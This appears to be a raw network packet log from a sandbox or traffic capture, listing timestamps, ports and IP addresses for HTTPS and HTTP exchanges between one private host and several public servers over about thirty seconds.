Sep 29, 2024 00:59:02.298439980 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:02.298455954 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:02.313369989 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.313384056 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.313545942 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.313679934 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.313707113 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.313772917 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.314469099 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.314476967 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.314670086 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.314685106 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.334996939 CEST	49743	443	192.168.2.6	185.199.111.153
Sep 29, 2024 00:59:02.335015059 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:02.335310936 CEST	49743	443	192.168.2.6	185.199.111.153
Sep 29, 2024 00:59:02.335783958 CEST	49743	443	192.168.2.6	185.199.111.153
Sep 29, 2024 00:59:02.335796118 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:02.457609892 CEST	49744	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.457633018 CEST	443	49744	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.457685947 CEST	49744	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.458163977 CEST	49744	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.458178997 CEST	443	49744	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.702764988 CEST	443	49738	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:02.702929020 CEST	49738	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:02.725783110 CEST	49738	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:02.725800991 CEST	443	49738	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:02.726134062 CEST	443	49738	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:02.766299963 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:02.769531012 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.773463964 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.814440012 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:02.825666904 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.879225016 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.879235029 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.879404068 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.879415989 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.879683018 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:02.879719019 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:02.879863977 CEST	49743	443	192.168.2.6	185.199.111.153
Sep 29, 2024 00:59:02.879873037 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:02.880650043 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.880662918 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.880721092 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.881145954 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.881233931 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.881356001 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.881361961 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.881805897 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:02.881813049 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:02.881869078 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:02.882447958 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:02.882518053 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:02.882707119 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:02.882724047 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:02.883733034 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.883760929 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.883837938 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.884428024 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:02.884459972 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:02.884491920 CEST	49743	443	192.168.2.6	185.199.111.153
Sep 29, 2024 00:59:02.885160923 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.885334969 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.885682106 CEST	49743	443	192.168.2.6	185.199.111.153
Sep 29, 2024 00:59:02.885864019 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:02.885931015 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.885946989 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:02.885973930 CEST	49743	443	192.168.2.6	185.199.111.153
Sep 29, 2024 00:59:02.885996103 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:02.932087898 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.935405016 CEST	443	49738	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:02.935494900 CEST	49738	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:02.947901964 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:02.947925091 CEST	49743	443	192.168.2.6	185.199.111.153
Sep 29, 2024 00:59:02.947933912 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:02.977380991 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.151243925 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.207483053 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.208403111 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.208458900 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.208493948 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:03.208498001 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.208544970 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:03.208549976 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.208579063 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.208621025 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:03.208759069 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:03.208818913 CEST	49743	443	192.168.2.6	185.199.111.153
Sep 29, 2024 00:59:03.208839893 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.208880901 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:03.208887100 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.208933115 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.208969116 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.208993912 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.209005117 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:03.209011078 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.209032059 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:03.209819078 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.211858988 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:03.211867094 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.212874889 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.212883949 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.212925911 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.212932110 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.212939978 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.212958097 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.212960958 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.212968111 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.212976933 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.213009119 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.213682890 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.213690996 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.213727951 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.213748932 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.213793993 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.213814020 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.213838100 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.213843107 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.213843107 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.213843107 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.213859081 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.213885069 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.214449883 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.214461088 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.214507103 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.214512110 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.214524031 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.214531898 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.214549065 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.214550972 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.214569092 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.214592934 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.214658976 CEST	443	49744	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:03.215522051 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.215565920 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:03.215573072 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.215852022 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.215905905 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:03.216192961 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.216217995 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.216264963 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.216276884 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.216299057 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.221148014 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.221157074 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.221209049 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.221240997 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.221245050 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.221263885 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.221280098 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.221301079 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.221893072 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.221916914 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.221951962 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.221961975 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.221982956 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.224078894 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.224096060 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.224159002 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.224164963 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.224200010 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.225467920 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.225481987 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.225536108 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.225544930 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.225564957 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.227946043 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.228002071 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.228066921 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.229239941 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.229259968 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.229299068 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.229307890 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.229332924 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.230550051 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.230566025 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.230608940 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.230617046 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.230643034 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.232423067 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.232443094 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.232496977 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.232507944 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.242913008 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.242929935 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.243019104 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.243029118 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.243058920 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.243856907 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.243876934 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.243916988 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.243927002 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.243961096 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.244292021 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.244311094 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.244345903 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.244354963 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.244374037 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.245374918 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.245393991 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.245435953 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.245445013 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.245465994 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.246273994 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.246289015 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.246350050 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.246360064 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.259119987 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.259169102 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.259197950 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.259211063 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.259238958 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.294631004 CEST	49744	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:03.294640064 CEST	443	49744	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:03.295006990 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.295187950 CEST	443	49744	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:03.295650959 CEST	49744	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:03.295727968 CEST	443	49744	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:03.296077013 CEST	49744	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:03.329050064 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.329071999 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.329147100 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.329161882 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.329749107 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.329768896 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.329816103 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.329823971 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.329854012 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.330542088 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.330557108 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.330605030 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.330612898 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.330636978 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.330862045 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.330899954 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.330923080 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.330928087 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.330941916 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.330984116 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.339411974 CEST	443	49744	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:03.369810104 CEST	49743	443	192.168.2.6	185.199.111.153
Sep 29, 2024 00:59:03.369829893 CEST	443	49743	185.199.111.153	192.168.2.6
Sep 29, 2024 00:59:03.373465061 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:03.373522043 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:03.374741077 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.374943972 CEST	49741	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.374970913 CEST	443	49741	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.382173061 CEST	49740	443	192.168.2.6	151.101.2.137
Sep 29, 2024 00:59:03.382190943 CEST	443	49740	151.101.2.137	192.168.2.6
Sep 29, 2024 00:59:03.476002932 CEST	49738	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:03.519435883 CEST	443	49738	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:03.533173084 CEST	443	49744	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:03.533257008 CEST	443	49744	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:03.533349037 CEST	49744	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:03.535475016 CEST	49744	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:03.535494089 CEST	443	49744	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:03.666491985 CEST	443	49738	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:03.666558981 CEST	443	49738	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:03.666834116 CEST	49738	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:03.687860966 CEST	49738	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:03.687875032 CEST	443	49738	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:03.724529982 CEST	49745	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:03.724558115 CEST	443	49745	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:03.724625111 CEST	49745	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:03.725063086 CEST	49745	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:03.725078106 CEST	443	49745	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:04.412204027 CEST	443	49745	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:04.412271023 CEST	49745	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:04.440776110 CEST	49745	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:04.440793991 CEST	443	49745	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:04.441123009 CEST	443	49745	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:04.442063093 CEST	49745	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:04.483442068 CEST	443	49745	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:04.687781096 CEST	49746	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:04.687803030 CEST	443	49746	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:04.687890053 CEST	49746	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:04.688699961 CEST	49746	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:04.688719034 CEST	443	49746	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:04.699976921 CEST	443	49745	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:04.700038910 CEST	443	49745	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:04.700118065 CEST	49745	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:04.702771902 CEST	49745	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:04.702780008 CEST	443	49745	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:05.475909948 CEST	443	49746	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:05.475970984 CEST	49746	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:05.479995966 CEST	49746	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:05.480009079 CEST	443	49746	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:05.480278015 CEST	443	49746	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:05.505548954 CEST	49746	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:05.505620956 CEST	49746	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:05.505633116 CEST	443	49746	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:05.505815983 CEST	49746	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:05.551395893 CEST	443	49746	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:05.684199095 CEST	443	49746	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:05.684312105 CEST	443	49746	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:05.684454918 CEST	49746	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:05.689886093 CEST	49746	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:05.689907074 CEST	443	49746	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:11.388767958 CEST	443	49726	142.250.184.228	192.168.2.6
Sep 29, 2024 00:59:11.388844967 CEST	443	49726	142.250.184.228	192.168.2.6
Sep 29, 2024 00:59:11.388922930 CEST	49726	443	192.168.2.6	142.250.184.228
Sep 29, 2024 00:59:12.711426020 CEST	49726	443	192.168.2.6	142.250.184.228
Sep 29, 2024 00:59:12.711467028 CEST	443	49726	142.250.184.228	192.168.2.6
Sep 29, 2024 00:59:13.129638910 CEST	80	49717	172.66.0.235	192.168.2.6
Sep 29, 2024 00:59:13.129862070 CEST	49717	80	192.168.2.6	172.66.0.235
Sep 29, 2024 00:59:14.698055029 CEST	49717	80	192.168.2.6	172.66.0.235
Sep 29, 2024 00:59:14.703102112 CEST	80	49717	172.66.0.235	192.168.2.6
Sep 29, 2024 00:59:19.159041882 CEST	49753	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:19.159085989 CEST	443	49753	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:19.159156084 CEST	49753	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:19.159791946 CEST	49753	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:19.159805059 CEST	443	49753	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:19.969780922 CEST	443	49753	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:19.969870090 CEST	49753	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:19.975495100 CEST	49753	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:19.975508928 CEST	443	49753	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:19.975894928 CEST	443	49753	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:19.977967024 CEST	49753	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:19.978061914 CEST	49753	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:19.978065968 CEST	443	49753	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:19.978307962 CEST	49753	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:20.019404888 CEST	443	49753	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:20.159631968 CEST	443	49753	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:20.159710884 CEST	443	49753	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:20.159939051 CEST	49753	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:20.160003901 CEST	49753	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:20.160024881 CEST	443	49753	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:33.894716978 CEST	49754	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:33.894772053 CEST	443	49754	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:33.894855022 CEST	49754	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:33.895790100 CEST	49754	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:33.895804882 CEST	443	49754	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:34.900660992 CEST	443	49754	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:34.900737047 CEST	49754	443	192.168.2.6	40.115.3.253
